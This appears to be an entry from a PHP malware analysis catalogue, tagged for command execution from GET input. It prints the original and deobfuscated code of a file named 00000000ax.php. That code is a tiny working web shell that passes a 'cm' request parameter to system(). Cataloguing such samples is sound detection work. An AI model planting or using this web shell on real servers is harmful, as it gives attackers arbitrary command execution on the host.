PHP Malware Analysis

Back to list

Filename: 00000000ax.php

Tags

Execution
  • system
Input
  • _GET

Deobfuscated code

echo '<form method="get"> <input type="text" name="cm"> <button type="submit">Submit</button></form>';

if (isset($_GET['cm'])) {
echo system($_GET['cm']);
}


Original code

echo '<form method="get"> <input type="text" name="cm"> <button type="submit">Submit</button></form>';

if (isset($_GET['cm'])) {
echo system($_GET['cm']);
}